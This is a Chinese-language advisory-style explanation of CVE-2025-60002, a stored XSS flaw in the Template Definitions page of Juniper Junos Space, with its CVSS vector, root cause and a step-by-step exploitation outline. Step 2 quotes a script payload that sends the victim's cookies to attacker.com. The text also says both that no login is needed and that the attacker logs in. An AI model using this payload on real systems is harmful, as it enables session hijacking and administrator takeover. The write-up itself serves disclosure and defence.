CVE-2025-60002CVE-2025-60002 是 Juniper Networks Junos Space 网络管理平台中存在的一个跨站脚本(Cross-Site Scripting, XSS)漏洞。该漏洞源于 Web 页面生成过程中对用户输入的不当中和处理(Improper Neutralization of Input During Web Page Generation),属于典型的存储型 XSS 漏洞。攻击者可以通过在 Junos Space 的模板定义(Template Definitions)页面注入恶意的脚本标签(如 <script> 标签),当其他用户(尤其是管理员)访问该页面时,注入的恶意脚本将在受害者的浏览器上下文中执行。由于 Junos Space 是企业级网络管理平台,通常拥有高权限用户,攻击者可以利用此漏洞以目标用户的权限执行操作,包括管理员权限的操作,从而可能导致敏感配置泄露、网络设备被恶意操控或权限提升等严重后果。该漏洞影响 Junos Space 24.1R4 之前的所有版本,CVSS 3.1 评分为 6.1 分,属于中危级别。攻击者无需认证即可发起攻击,但需要用户交互(如管理员查看被注入的模板页面)才能触发漏洞利用。该漏洞由 Juniper Networks 安全响应团队([email protected])发现并披露,披露日期为 2025 年 10 月 9 日。
该漏洞的技术原理在于 Junos Space 的模板定义(Template Definitions)页面未对用户输入进行充分的过滤和转义处理。攻击者可以在创建或编辑模板时,将恶意 JavaScript 代码作为模板内容的一部分提交。由于服务器端缺少对 HTML/JS 标签的适当中和(如未对 <、>、"、' 等特殊字符进行 HTML 实体编码),恶意脚本被持久化存储在服务器端。当其他用户(特别是管理员)访问该模板定义页面时,服务器返回的页面中包含未经转义的用户输入,浏览器将其解析为合法的 HTML/JS 代码并执行。
利用方式如下:
1. 攻击者通过正常或低权限账户登录 Junos Space,访问 Template Definitions 页面;
2. 在模板的某个可输入字段(如模板名称、描述或内容字段)中注入 XSS Payload,例如 `<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`;
3. 提交后,恶意脚本被存储在数据库中;
4. 当管理员或其他高权限用户访问该模板页面时,脚本在其浏览器中执行;
5. 攻击者可以窃取会话 Cookie、进行 CSRF 攻击以管理员权限执行操作(如修改网络设备配置、创建新管理员账户等)。
该漏洞的 CVSS 向量为 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表明攻击通过网络发起、攻击复杂度低、无需权限但需要用户交互,且存在范围变更(S:C),可能影响超出 Junos Space 本身的组件。